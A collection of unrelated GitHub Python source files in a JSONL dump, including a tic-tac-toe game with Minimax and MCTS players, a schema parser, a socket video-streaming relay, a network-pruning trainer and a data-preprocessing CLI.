plt.plot(Veh.all_cloud_states[1,:].T, label ='cloud x speed')\n# plt.plot(Veh.all_actual_states[1,:].T, label ='actual x speed')\n# plt.legend()\n#\n# plt.subplot(2,2,2)\n# plt.plot(Veh.all_cloud_states[3,:].T, label ='cloud y speed')\n# plt.plot(Veh.all_actual_states[3,:].T, label ='actual y speed')\n# plt.legend()\n#\n# plt.subplot(2,2,3)\n# plt.plot(Veh.all_cloud_states[4,:].T, label ='C yaw')\n# plt.plot(Veh.all_actual_states[4,:].T, label ='A yaw ')\n# plt.legend()\n#\n# plt.subplot(2,2,4)\n# plt.plot(Veh.all_cloud_states[5,:].T, label ='C yaw rate ')\n# plt.plot(Veh.all_actual_states[5,:].T, label ='A yaw rate')\n# plt.legend()\n#\n# plt.show()\n","repo_name":"DongChen06/Event-trigger-MPC","sub_path":"env_veh.py","file_name":"env_veh.py","file_ext":"py","file_size_in_byte":6807,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"14493826788","text":"from copy import deepcopy\nimport random\nimport time\nimport pyplAI\nfrom colorama import Fore, init\n\ninit(autoreset=True)\n\nclass TicTacToe:\n jugadores = 2\n\n def __init__(self):\n self.tablero=([0,0,0],\n [0,0,0],\n [0,0,0])\n self.jugadorActual=1\n\n def obtiene_movimientos(self):\n movimientos=[]\n tablero=self.tablero\n for i in range(3):\n for j in range(3):\n if(tablero[i][j]==0):\n movimientos.append((i,j))\n return random.sample(movimientos, len(movimientos))\n\n def aplica_movimiento(self,a):\n tablero = self.tablero\n jugador = self.jugadorActual\n tablero[a[0]][a[1]]=jugador\n self.jugadorActual=2 if jugador==1 else 1\n return self\n\n def gana_jugador(self,jugador):\n tablero=self.tablero\n #Comprobamos si hay un 3 en raya\n if(tablero[0][0]==tablero[1][1]==tablero[2][2] and tablero[0][0]==jugador):\n return True\n elif(tablero[0][2]==tablero[1][1]==tablero[2][0] and tablero[0][2]==jugador):\n return True\n else:\n for i in range(3):\n if(tablero[i][0]==tablero[i][1]==tablero[i][2] and tablero[i][0]==jugador):\n return True\n elif(tablero[0][i]==tablero[1][i]==tablero[2][i] and tablero[0][i]==jugador):\n return True\n return False\n\n def es_estado_final(self):\n num_movs = len(self.obtiene_movimientos())\n #Si no hay movimientos posibles la partida ha terminado, pudiendo ser empate o victoria\n if(num_movs==0):\n return True\n #Comprobamos si gana algun jugador\n if(self.gana_jugador(1) or self.gana_jugador(2)):\n return True\n return False\n \n def imprime_tablero(self):\n tablero = self.tablero\n for i in range(3):\n print(\"\\n\")\n for j in range(3):\n print(tablero[i][j],end=\" \")\n print(\"\\n\")\n \n def imprime_final(self):\n self.imprime_tablero()\n #Al aplicar movimiento se cambia el jugador, el ganador es el jugador anterior\n if(self.gana_jugador(1)):\n print(\"Gana el jugador 1\")\n return 1\n elif(self.gana_jugador(2)):\n print(\"Gana el jugador 2\")\n return 2\n else:\n print(\"Empate\")\n return 0\n\n def heuristica(self,jugador):\n tablero = self.tablero\n contadorPosibles3 = 0\n contadorPosibles3Enemigos = 0\n contadorPosibles2 = 0\n contadorPosibles2Enemigos = 0\n lineas = (([0,0],[0,1],[0,2]),([1,0],[1,1],[1,2]),([2,0],[2,1],[2,2]),([0,0],[1,0],[2,0]),([0,1],[1,1],[2,1]),([0,2],[1,2],[2,2]),([0,0],[1,1],[2,2]),([0,2],[1,1],[2,0]))\n combinacionesUno=([0,1,2],[1,2,0],[2,0,1])\n for linea in lineas:\n for combinacion in combinacionesUno:\n x1 = linea[combinacion[0]][0]\n y1 = linea[combinacion[0]][1]\n x2 = linea[combinacion[1]][0]\n y2 = linea[combinacion[1]][1]\n x3 = linea[combinacion[2]][0]\n y3 = linea[combinacion[2]][1]\n if tablero[x1][y1]==tablero[x2][y2] == jugador and tablero[x3][y3] == 0:\n contadorPosibles3+=1\n elif tablero[x1][y1]==tablero[x2][y2] == 3-jugador and tablero[x3][y3] == 0:\n contadorPosibles3Enemigos+=1\n if tablero[x1][y1]== jugador and tablero[x2][y2] == tablero[x3][y3] == 0:\n contadorPosibles3+=1\n elif tablero[x1][y1]== 3-jugador and tablero[x2][y2] == tablero[x3][y3] == 0:\n contadorPosibles3Enemigos+=1\n return 10*(contadorPosibles3 - contadorPosibles3Enemigos)+ contadorPosibles2 - contadorPosibles2Enemigos\n\n def turno_jugador(self):\n print(Fore.RED+\"Turno Jugador \"+str(self.jugadorActual))\n self.imprime_tablero()\n movimientos = self.obtiene_movimientos()\n imprime_movimientos(movimientos)\n print(\"Introduce el movimiento que quieres realizar: \")\n movimiento=int(input())\n while(movimiento<1 or movimiento>len(movimientos)):\n print(\"Movimiento invalido, introduce un movimiento: \")\n movimiento=int(input())\n return self.aplica_movimiento(movimientos[movimiento-1])\n \n def turno_mcts(self,mcts):\n print(Fore.BLUE+\"Turno MCTS \"+str(self.jugadorActual))\n self.imprime_tablero()\n mov = mcts.ejecuta(self)\n if(mov!=None):\n return self.aplica_movimiento(mov)\n else:\n return self\n \n def turno_minimax(self,minimax):\n print(Fore.GREEN+\"Turno Minimax \"+str(self.jugadorActual))\n self.imprime_tablero()\n mov = minimax.ejecuta(self)\n if(mov!=None):\n return self.aplica_movimiento(mov)\n else:\n return self\n \n def turno_aleatorio(self):\n print(Fore.RED+\"Turno Aleatorio \"+str(self.jugadorActual))\n self.imprime_tablero()\n movimientos = self.obtiene_movimientos()\n mov = random.choice(movimientos)\n return self.aplica_movimiento(mov)\n \ndef imprime_movimientos(movimientos):\n for i in range(len(movimientos)):\n newI=2-movimientos[i][0]+1\n print(\"Movimiento \"+str(i+1)+\": \\n Fila -\",newI,\" \\n Columna -\",movimientos[i][1]+1,\"\\n\")\n\ndef imprime_estadisticas(tiemposMiniMax, tiempoMCTS):\n tiempoMiniMax=sum(tiemposMiniMax)/len(tiemposMiniMax)\n print(\"Tiempo de ejecución medio Minimax: \", tiempoMiniMax)\n print(\"Tiempo de ejecución MCTS: \", tiempoMCTS)\n\ndef determinization(s):\n determinization = deepcopy(s)\n return determinization\n\ndef jugadorContraAlgoritmo():\n algoritmo = int(input(\"¿Contra qué algoritmo quieres jugar? \\n 1. Minimax \\n 2. MCTS \\n\"))\n while(algoritmo<1 or algoritmo>2):\n algoritmo = int(input(\"Introduce un algoritmo válido: \\n\"))\n \n if(algoritmo==1):\n depth = int(input(\"Introduce la profundidad del Minimax: \\n\"))\n while(depth<=0):\n depth = int(input(\"Introduce una profundidad mayor que 0: \\n\"))\n algoritmo = pyplAI.Minimax(TicTacToe.aplica_movimiento,TicTacToe.obtiene_movimientos,TicTacToe.es_estado_final,TicTacToe.gana_jugador,TicTacToe.heuristica, TicTacToe.jugadores, depth, True)\n else:\n tiempoEjecucion = float(input(\"Introduce el tiempo de ejecución del MCTS en segundos: \\n\"))\n while(tiempoEjecucion<=0):\n tiempoEjecucion = float(input(\"Introduce un tiempo de ejecución mayor que 0: \\n\"))\n algoritmo = pyplAI.MCTS(TicTacToe.aplica_movimiento,TicTacToe.obtiene_movimientos,TicTacToe.es_estado_final,TicTacToe.gana_jugador, TicTacToe.jugadores, tiempoEjecucion, True)\n \n posicionJugador = int(input(\"¿En qué posición quieres jugar? (1-2) \\n\"))\n while(posicionJugador<1 or posicionJugador>2):\n posicionJugador = int(input(\"Introduce 1 si quieres jugar primero o 2 si quieres jugar segundo: \\n\"))\n \n s = TicTacToe()\n while(s.es_estado_final()==False):\n jugador = s.jugadorActual\n if(jugador==posicionJugador):\n s = s.turno_jugador()\n else:\n if(algoritmo.__class__.__name__==\"MCTS\"):\n s = s.turno_mcts(algoritmo)\n else:\n s=s.turno_minimax(algoritmo) \n s.imprime_final() \n\ndef jugadorContraJugador():\n s = TicTacToe()\n while(s.es_estado_final()==False):\n s = s.turno_jugador()\n s.imprime_final()\n\ndef algoritmoContraAlgoritmo():\n algoritmo1 = int(input(\"¿Qué algoritmo quieres usar como primer jugador? \\n 1. Minimax \\n 2. MCTS \\n\"))\n while(algoritmo1<1 or algoritmo1>2):\n algoritmo1 = int(input(\"Introduce un algoritmo válido: \\n\"))\n \n if(algoritmo1==1):\n depth1 = int(input(\"Introduce la profundidad del Minimax: \\n\"))\n while(depth1<=0):\n depth1 = int(input(\"Introduce una profundidad mayor que 0: \\n\"))\n algoritmo1 = pyplAI.Minimax(TicTacToe.aplica_movimiento,TicTacToe.obtiene_movimientos,TicTacToe.es_estado_final,TicTacToe.gana_jugador,TicTacToe.heuristica, TicTacToe.jugadores, depth1, True)\n else:\n tiempoEjecucion1 = float(input(\"Introduce el tiempo de ejecución del MCTS en segundos: \\n\"))\n while(tiempoEjecucion1<=0):\n tiempoEjecucion1 = float(input(\"Introduce un tiempo de ejecución mayor que 0: \\n\"))\n algoritmo1 = pyplAI.MCTS(TicTacToe.aplica_movimiento,TicTacToe.obtiene_movimientos,TicTacToe.es_estado_final,TicTacToe.gana_jugador, TicTacToe.jugadores, tiempoEjecucion1, True)\n \n algoritmo2 = int(input(\"¿Qué algoritmo quieres usar como segundo jugador? \\n 1. Minimax \\n 2. MCTS \\n\"))\n while(algoritmo2<1 or algoritmo2>2):\n algoritmo2 = int(input(\"Introduce un algoritmo válido: \\n\"))\n \n if(algoritmo2==1):\n depth2 = int(input(\"Introduce la profundidad del Minimax: \\n\"))\n while(depth2<=0):\n depth2 = int(input(\"Introduce una profundidad mayor que 0: \\n\"))\n algoritmo2 = pyplAI.Minimax(TicTacToe.aplica_movimiento,TicTacToe.obtiene_movimientos,TicTacToe.es_estado_final,TicTacToe.gana_jugador,TicTacToe.heuristica, TicTacToe.jugadores, depth2, True)\n else:\n tiempoEjecucion2 = float(input(\"Introduce el tiempo de ejecución del MCTS en segundos: \\n\"))\n while(tiempoEjecucion2<=0):\n tiempoEjecucion2 = float(input(\"Introduce un tiempo de ejecución mayor que 0: \\n\"))\n algoritmo2 = pyplAI.MCTS(TicTacToe.aplica_movimiento,TicTacToe.obtiene_movimientos,TicTacToe.es_estado_final,TicTacToe.gana_jugador, TicTacToe.jugadores, tiempoEjecucion2, True)\n \n numeroPartidas=int(input(\"Introduce el número de partidas que quieres simular: \\n\"))\n while(numeroPartidas<=0):\n numeroPartidas = int(input(\"Introduce un número de partidas mayor que 0: \\n\"))\n \n resultados = []\n i=0\n while(i2):\n algoritmo = int(input(\"Introduce un algoritmo válido: \\n\"))\n \n if(algoritmo==1):\n depth = int(input(\"Introduce la profundidad del Minimax: \\n\"))\n while(depth<=0):\n depth = int(input(\"Introduce una profundidad mayor que 0: \\n\"))\n algoritmo = pyplAI.Minimax(TicTacToe.aplica_movimiento,TicTacToe.obtiene_movimientos,TicTacToe.es_estado_final,TicTacToe.gana_jugador,TicTacToe.heuristica, TicTacToe.jugadores, depth, True)\n tiempos = [] \n else:\n tiempoEjecucion = float(input(\"Introduce el tiempo de ejecución del MCTS en segundos: \\n\"))\n while(tiempoEjecucion<=0):\n tiempoEjecucion = float(input(\"Introduce un tiempo de ejecución mayor que 0: \\n\"))\n algoritmo = pyplAI.MCTS(TicTacToe.aplica_movimiento,TicTacToe.obtiene_movimientos,TicTacToe.es_estado_final,TicTacToe.gana_jugador, TicTacToe.jugadores, tiempoEjecucion, True)\n \n numeroPartidas=int(input(\"Introduce el número de partidas que quieres simular: \\n\"))\n while(numeroPartidas<=0):\n numeroPartidas = int(input(\"Introduce un número de partidas mayor que 0: \\n\"))\n \n resultados = []\n i=0\n while(i4):\n opcion=int(input(\"Opción no válida, elige una opción válida: \\n\"))\n if(opcion==1):\n jugadorContraAlgoritmo()\n elif(opcion==2):\n jugadorContraJugador()\n elif(opcion==3):\n algoritmoContraAlgoritmo()\n elif(opcion==4):\n algoritmoContraAleatorio()\n\nif __name__ == \"__main__\":\n main()","repo_name":"plss12/pyplAI","sub_path":"Juegos/Minimax-MCTS/Tic-Tac-Toe.py","file_name":"Tic-Tac-Toe.py","file_ext":"py","file_size_in_byte":14160,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"24000343279","text":"from collections import defaultdict\nfrom procConf import *\n\n\nclass tableSchema(object):\n def __init__(self, config=None):\n if config is None:\n self.config = initConfig()\n else:\n self.config = config\n # print(\"init\")\n schemaFile = self.config.get(\"schema\", \"fullpath\")\n self.data = {}\n with open(schemaFile, 'r', encoding='utf-8') as r:\n while '' != r.read(1):\n r.seek(r.tell() - 1)\n self.buildTable(r)\n\n def buildTable(self, SchemaFile):\n name = \"\"\n keyname = {}\n partition = {}\n index = 0\n while True:\n line = SchemaFile.readline()\n upperLine = line.upper()\n if '\\n' == line:\n break\n # print(upperLine)\n if -1 != upperLine.find(\"CREATE\") and -1 != upperLine.find(\"TABLE\"):\n name = upperLine.strip().split()[2].split(\".\")[-1]\n continue\n if -1 != upperLine.find(\";\"):\n break\n if 0 == len(upperLine.strip()):\n continue\n if 2 > len(upperLine.strip().split()):\n continue\n if upperLine.endswith(\",\\n\") or lastLine.endswith(\",\\n\"):\n if get_engine() == \"CH\" and get_use_projection() == \"True\":\n key = line.strip().split()[0]\n type = line.strip().split()[1]\n else:\n key = upperLine.strip().split()[0]\n type = upperLine.strip().split()[1]\n if type.find(\"(\") != -1:\n type = type[type.find(\"(\") + 1:type.find(\")\")]\n if upperLine.strip().startswith(\"PARTITION BY\") or upperLine.strip().startswith(\"PARTITIONED BY\"):\n # 没有函数作用在key上的时候,如果只有一个key也有可能没有用括号括起来\n if upperLine.find(\"(\") == -1:\n partition_key = [upperLine.strip().split()[-1]]\n partition_desc = upperLine.strip().split()[-1]\n else:\n partition_key = [upperLine[upperLine.find(\"(\") + 1:upperLine.find(\")\")].split(\",\")]\n if upperLine.strip().startswith(\"PARTITION BY\"):\n partition_desc = line[upperLine.index(\"PARTITION BY\") + len(\"PARTITION BY\") + 1:line.rfind(\")\") + 1]\n else:\n partition_desc = line[\n upperLine.index(\"PARTITIONED BY\") + len(\"PARTITIONED BY\") + 1:line.rfind(\")\") + 1]\n partition[\"key\"] = partition_key\n partition[\"desc\"] = partition_desc\n # if -1 != type.find(\"(\"):\n # type = type.split(\"(\")[1].split(\")\")[0]\n # keyname[key] = index\n keyname[key] = type\n lastLine = upperLine\n index = index + 1\n if name != \"\":\n self.data[name] = keyname\n if partition:\n self.data[name][\"infoOfPartition\"] = partition\n # print(keyname)\n return\n\n\n# 获取表的元数据信息\n# 输入数据库名、表名\n# 返回列名数组\ndef getTableSchema(dbname, tableName):\n print(dbname)\n # 从配置文件中读取\n schemaFile = get_schema_file()\n with open(schemaFile, 'r') as r:\n while True:\n line = r.readline()\n if '' == line:\n break\n upperLine = line.upper()\n if -1 != upperLine.find(\"CREATE\") and -1 != upperLine.find(\"TABLE\"):\n name = upperLine.strip().split()[2]\n if -1 != name.find(\".\"):\n db, table = name.split(\".\")\n else:\n db = dbname\n table = name\n if db == dbname.upper() and table == tableName.upper():\n r.seek(r.tell() - len(line))\n return getTableCols(r)\n return\n\n\ndef getTableCols(SchemaFile):\n # name = \"\"\n keyname = []\n # index = 0\n while True:\n line = SchemaFile.readline()\n upperLine = line.upper()\n if '' == line:\n break\n if -1 != upperLine.find(\";\"):\n break\n if 0 == len(upperLine.strip()):\n continue\n key = upperLine.strip().split()[0]\n keyname.append(key)\n # print(keyname)\n return keyname\n\n\nif __name__ == '__main__':\n # print(getTableSchema(\"UserOper_local\", \"ads_useroper_compet_idc_hiaudio_mod_g1o_sales_ds\"))\n test_table = tableSchema()\n print(test_table.data.items())\n","repo_name":"ZJU-DAILY/UniView","sub_path":"code/backend/core/parseSchema.py","file_name":"parseSchema.py","file_ext":"py","file_size_in_byte":4614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"12785754804","text":"import json\n\nfrom .dictconfig import json_formatter_factory\nfrom .formatters import (\n default_json_encoder,\n get_json_formatter,\n JsonFormatter,\n WrapedJsonFormatter\n)\nfrom .recordadapter import (\n default_record_adapter,\n default_template,\n ValueRecordAdapter\n)\n\n\n__version__ = \"0.0.3\"\n__version_info__ = tuple(int(n) for n in __version__.split(\".\"))\n","repo_name":"ucamhal/jsonlogging","sub_path":"jsonlogging/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"71480600866","text":"import socket\nimport time\nimport base64\nfrom threading import Thread\n\nclass ClientStreaming(Thread):\n\n\tHEADERSIZE = 10\n\tbuffer_len = 1024\n\n\tdef __init__(self, parent, client, address, serial, camera):\n\t\tThread.__init__(self)\n\t\tself.parent = parent\n\t\tself.client = client\n\t\tself.serial = serial\n\t\tself.camera = camera\n\t\tself.sockets = {}\n\t\tself.address = address\n\t\tself.key = self.serial + self.camera\n\t\tself.terminated = False\n\n\tdef terminate(self):\n\t\tself.terminated = True\n\t\tself.client.close()\n\n\t\t# Deleting key from clients_push dict\n\t\ttry:\n\t\t\tdel self.parent.clients_push[self.key]\n\t\texcept:\n\t\t\tpass\n\t\t# Deleting clients from sockets dict\n\t\tkeys = list(self.sockets.keys())\n\t\tfor key in keys:\n\t\t\ttry:\n\t\t\t\tself.sockets[key].close()\n\t\t\t\tdel self.sockets[key]\n\t\t\texcept:\n\t\t\t\tpass\n\t\tprint(\"[INFO] Client to {} has been terminated.\".format(self.key))\n\n\tdef is_terminated(self):\n\t\treturn self.terminated\n\n\tdef append(self, _socket):\n\t\tnum_conn = len(self.sockets)\n\t\tself.sockets[num_conn] = _socket\n\n\tdef prepare_recv(self, frame_len):\n\t\tmsg_len = len(str(frame_len)) + self.HEADERSIZE + frame_len\n\t\tto_recv_len = msg_len\n\n\t\tif to_recv_len <= self.buffer_len:\n\t\t\treturn self.buffer_len\n\t\telse:\n\t\t\tslices = int(to_recv_len / self.buffer_len)\n\t\t\trest = to_recv_len % self.buffer_len\n\t\t\tif rest != 0:\n\t\t\t\tslices += 1\n\t\t\t\treturn slices * self.buffer_len\n\t\t\treturn slices * self.buffer_len\n\n\tdef sendToClients(self, frame):\n\t\tkeys = list(self.sockets.keys())\n\t\tfor key in keys:\n\t\t\ttry:\n\t\t\t\tself.sockets[key].send(bytes(frame, 'utf-8'))\n\t\t\texcept Exception:\n\t\t\t\tself.sockets[key].close()\n\t\t\t\tdel self.sockets[key]\n\n\tdef run(self):\n\n\t\tfull_frame = ''\n\t\tnew_frame = True\n\n\t\twhile not self.terminated and not self.parent.is_terminated():\n\t\t\ttry:\n\t\t\t\tframe = self.client.recv(1024)\n\t\t\t\tframe = frame.decode('utf-8')\n\t\t\t\tif new_frame:\n\t\t\t\t\tif not frame[: self.HEADERSIZE]:\n\t\t\t\t\t\tprint(\"[INFO] Socket is not sending data.\")\n\t\t\t\t\t\tbreak\n\t\t\t\t\tframe_len = int(frame[: self.HEADERSIZE])\n\t\t\t\t\tdata_len = self.prepare_recv(frame_len)\n\t\t\t\t\tnew_frame = False\n\n\t\t\t\tfull_frame += frame\n\n\t\t\t\tif len(full_frame) == data_len:\n\t\t\t\t\t# print(\"[INFO] full_frame len: {}\".format(len(full_frame)))\n\t\t\t\t\tself.sendToClients(full_frame)\n\t\t\t\t\tfull_frame = ''\n\t\t\t\t\tnew_frame = True\n\n\t\t\texcept Exception:\n\t\t\t\tprint(\"[INFO] Exception in while run\")\n\t\t\t\tbreak\n\n\t\tself.terminate()","repo_name":"choucoder/streaming","sub_path":"Streaming/Client.py","file_name":"Client.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"20825295848","text":"# -*- coding: utf-8 -*-\nfrom collections import namedtuple\nimport re\n\nISA_WORD_PATTERN = re.compile(\"{Str: (?P.*) Weight: (?P[\\d\\.]+) Id: (?P.*)}\")\nISAWord_ = namedtuple(\"ISAWord\", [\"str\", \"weight\", \"id\"])\n\n\nclass ISAWord(ISAWord_):\n def to_vopal_wabbit(self):\n return \"{}:{}\".format(self.id, self.weight)\n\n \nclass ISADocument(object):\n def __init__(self, id, words):\n self.id = id\n self.words = words\n\n def to_vopal_wabbit(self):\n feature_set = \" \".join(word.to_vopal_wabbit() for word in self.words)\n return \"{} {}\".format(self.id.replace(\":\", \"_\"), feature_set)\n\n def __iter__(self):\n for word in self.words:\n yield word\n\n def __len__(self):\n return len(self.words)\n\n def __repr__(self):\n if not self.words:\n return \"{}()\".format(\n self.__class__.__name__,\n len(self.words),\n self.words[0]\n )\n return \"{}({} words: [{}..])\".format(\n self.__class__.__name__,\n len(self.words),\n self.words[0][:100],\n )\n\n\ndef parse_isa_dictionary(isa_string):\n \"\"\"Parse ISA string dictionary-like object to ISAWord\n \n examples of string dictionary-like objects:\n * {Str: историография Weight: 0.349173 Id: 55393e4a41a49f55}\n * {Str: русское зарубежье Weight: 0.318381 Id: d748cd6c6711483a}\n \"\"\"\n match = re.search(ISA_WORD_PATTERN, isa_string)\n if match:\n return ISAWord(\n str=match.group('name'),\n weight=match.group('weight'),\n id=match.group('id'),\n )\n return None\n","repo_name":"alex-33/isa_content_analyzer","sub_path":"lib/isa_collection.py","file_name":"isa_collection.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"34278037117","text":"#!/usr/bin/python3\n\nmultiConstant = 37 # This variable could control the size of the svg image.\nrandomSeed = 'Seed' # To produce a analyzable result for line path generation.\nfontSize = 15 # The font size for the messages inside the shapes \ncommitSize=20 # The font size for the commit messages on the arrow\nelementInterval=5 # The interval based on Y \ngroupInterval=5 # The interval based on X\nlineinterval=0.2 # The minimon interval between two lines \nshapeSize=0.7 # The size of the shapes \ncircleAdjustment = 1 # Adjust the center of a circle realting to the text location","repo_name":"egg0001/Draw-a-flow-graph","sub_path":"drawModules/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"20373989322","text":"import os\n\nimport torch\nimport torch.optim as optim\nimport torch.nn as nn\n\nfrom torch.utils import data\nfrom torchvision import datasets, transforms\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom pruning import *\n\nclass Trainer():\n def __init__(self, model, dataset, device, pruning_rate, pruning_interval,\n batch_size=60, learning_rate=1.2e-3):\n if dataset == 'MNIST':\n self.dataset_name = dataset\n self.dataset = datasets.MNIST(root='./data/', train=True,\n download=True, transform=transforms.ToTensor())\n elif dataset == 'CIFAR10':\n self.dataset_name = dataset\n self.dataset = datasets.CIFAR10(root='./data/', train=True,\n download=True, transform=transforms.ToTensor())\n else:\n raise ValueError(f'Dataset \"{dataset}\" not supported.')\n \n self.device = device\n self.model = model\n\n # Instantiate the mask\n self.mask = init_mask(model)\n self.pruning_rate = pruning_rate\n self.pruning_interval = pruning_interval\n\n self.loader = data.DataLoader(self.dataset, batch_size=batch_size,\n shuffle=True)\n self.loss_function = nn.CrossEntropyLoss() \n self.optimizer = optim.Adam(model.parameters(), lr=learning_rate)\n self.losses = []\n self.accuracies = []\n\n def train_epoch(self, epoch_num):\n batch_losses = []\n\n # Every n epochs, prune and reset weights.\n if self.pruning_rate > 0:\n if epoch_num % self.pruning_interval == 0 and epoch_num > 0:\n update_mask(self.model, self.mask, self.pruning_rate)\n self.model.reset_weights()\n apply_mask(self.model, self.mask)\n \n for batch_data, batch_targets in self.loader:\n batch_data = batch_data.to(self.device)\n batch_targets = batch_targets.to(self.device)\n\n # Reset gradient to 0 (otherwise it accumulates)\n self.optimizer.zero_grad()\n\n predictions = self.model.forward(batch_data)\n loss = self.loss_function(predictions, batch_targets).to(self.device)\n\n # Compute delta terms and do a step of GD\n loss.backward()\n self.optimizer.step()\n apply_mask(self.model, self.mask)\n # Keep track of loss\n batch_losses.append(loss.item())\n epoch_loss = np.mean(batch_losses)\n\n self.losses.append(epoch_loss)\n self.accuracies.append(self.__compute_accuracy())\n\n def __compute_accuracy(self):\n correct = 0\n for batch_data, batch_targets in self.loader:\n batch_data = batch_data.to(self.device)\n batch_targets = batch_targets.to(self.device)\n\n predictions = self.model.forward(batch_data)\n classifications = predictions.argmax(dim=-1,\n keepdim=True).view_as(batch_targets)\n correct += classifications.eq(batch_targets).sum().item()\n accuracy = correct / len(self.dataset) * 100\n return accuracy\n","repo_name":"stfwn/neural-network-pruning","sub_path":"training/Trainer.py","file_name":"Trainer.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"11887216864","text":"from pathlib import Path\nimport pandas as pd\nimport click\nfrom loguru import logger\nfrom cli_pack.utils import PathPath\nfrom src.data_preprocessing import preprocess_data, categorical_encoding,build_train_test\nfrom typing import List\n\n\n@click.group()\ndef data():\n pass\n\n\n@data.command(\"parse\")\n@click.option(\n \"--excel-file-path\",\n \"-s\",\n help=\"path to data excel file\",\n type=PathPath(),\n)\n@click.option(\n \"--dest-dir\",\n \"-d\",\n help=\"the destination dir to save the processed dataset\",\n type=PathPath(),\n)\n@click.option(\n \"--col-name\",\n \"-c\",\n multiple=True,\n default=(\n \"Kuntanro\",\n \"Oulun kaupungin Y-tunnus\",\n \"Tosite numero\",\n \"Palveluluokka\",\n \"TILIN NIMI\",\n \"Toimittajan y-tunnus\",\n ),\n)\n@click.option(\n \"--nrows\",\n default=317369,\n help=\"number of rows to be read from the excel file\",\n type=int,\n)\ndef parse(excel_file_path: Path, dest_dir: Path, col_name: List, nrows: int) -> None:\n data_df = preprocess_data(\n excel_file_path, col_names_to_drop=list(col_name), nrows=nrows\n )\n try:\n assert data_df.isna().any().any() == False\n data_df.to_csv(\n dest_dir.joinpath(\"processed_data\").with_suffix(\".csv\"), index=False\n )\n logger.info(\n f\"{excel_file_path.stem} was pre-processed and saved under {dest_dir}\"\n )\n\n except AssertionError as e:\n logger.exception(e)\n\n\n@data.command(\"split\")\n@click.option(\n \"--src-file\", \"-s\", type=PathPath(), help=\"path to file that is processed\"\n)\n@click.option(\n \"--dest-dir\",\n \"-d\",\n help=\"the destination dir to save the processed dataset\",\n type=PathPath(),\n)\n@click.option(\n \"--seed\",\n default=33,\n help=\"seed value to to random split\",\n type=int,\n)\n@click.option(\n \"--test-size\",\n default=0.2,\n help=\"test size in a value of between 0 and 1\",\n type=float,\n)\ndef split(src_file:Path, dest_dir:Path, seed:int, test_size:float):\n assert src_file.suffix.endswith(\"csv\"), \"not supported other format than csv\"\n data_df = pd.read_csv(src_file)\n train_df,test_df = build_train_test(data_df,test_size=test_size,seed=seed)\n dest_dir = dest_dir.joinpath(f'seed_{seed}')\n dest_dir.mkdir(exist_ok=True,parents=True)\n train_df.to_csv(dest_dir.joinpath('train.csv'),index=False)\n test_df.to_csv(dest_dir.joinpath('test.csv'),index=False)\n logger.info(f'test/train : {seed} is saved {dest_dir}')\n\n@data.command(\"encode\")\n@click.option(\"--src-file\", \"-s\", help=\"path to processed data\", type=PathPath())\n@click.option(\n \"--categorical-low-cardinality-col-names\",\n \"--lcn\",\n multiple=True,\n help=\"categorical variable col name with low cardinality\",\n default=(\"Municipality\", \"Vendor country code\"),\n)\n@click.option(\n \"--dest-dir\",\n \"-d\",\n help=\"the destination dir to save the processed dataset\",\n type=PathPath(),\n)\n@click.option(\n \"--categorical-high-cardinality-col-names\",\n \"--lcn\",\n multiple=True,\n help=\"categorical variable col name with high cardinality\",\n default=(\"Cost center\", \"Vendor name\", \"Day\", \"Month\"),\n)\n@click.option(\n \"--algorithm\",\n \"-alg\",\n help=\"algorithm to handle high cardinality categorical values\",\n type=click.Choice([\"hashing\", \"binary\"]),\n required=True,\n)\ndef encode(\n src_file,\n dest_dir,\n categorical_low_cardinality_col_names,\n categorical_high_cardinality_col_names,\n algorithm,\n):\n logger.info('Starting encoding categorical to numeric values')\n data_df = pd.read_csv(src_file)\n data_df = categorical_encoding(\n data_df,\n categorical_low_cardinality_col_name=list(categorical_low_cardinality_col_names),\n categorical_high_cardinality_col_name=list(categorical_high_cardinality_col_names),\n high_cardinality_encoding_algorithm=algorithm,\n )\n dest_path = dest_dir.joinpath('encoded_dataset').with_suffix('.csv')\n data_df.to_csv(dest_path,index=False)\n logger.info(f'Encoded dataset is saved under {dest_path}')\n # data_frame: pd.DataFrame,\n # categorical_low_cardinality_col_name: List,\n # categorical_high_cardinality_col_name: List,\n # high_cardinality_encoding_algorithm: str,\n # categorical_encoding\n","repo_name":"mozafae1/cgi-exercise","sub_path":"cli_pack/dataparser/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":4250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"4798531551","text":"from pycocotools.coco import COCO #导入coco\nimport os\nimport sys\nsys.path.remove('/opt/ros/kinetic/lib/python2.7/dist-packages')\nfrom IPython import embed\nimport json\nimport numpy as np\nfrom path import Path\nimport cv2\n\nroot_dir = '/media/zx/新加卷/coco2017/annotations'\ndata_type = 'train2017'\nanno_file = os.path.join(root_dir, 'person_keypoints_{}.json'.format(data_type))\ncoco_kps = COCO(anno_file)\njson_file_dirs = Path('/media/xuchengjun/datasets/COCO')\n\ncatIds = coco_kps.getCatIds(catNms=['person'])\nimgIds = coco_kps.getImgIds(catIds=catIds)\n\nCOCO2CMUF = [-1,0,-1,5,7,9,11,13,15,6,8,10,12,13,14]\n\ndef draw(body,img):\n for i in range(17):\n cv2.circle(img, center=(body[i][0],body[i][1]), radius=4, color=(0,0,255))\n cv2.imshow('1',img)\n cv2.waitKey(0)\n\ndef main():\n count = 0\n\n for i in range(len(imgIds)):\n output_json = dict()\n img = coco_kps.loadImgs(imgIds[i])[0] # [{...}]\n pixel_coors 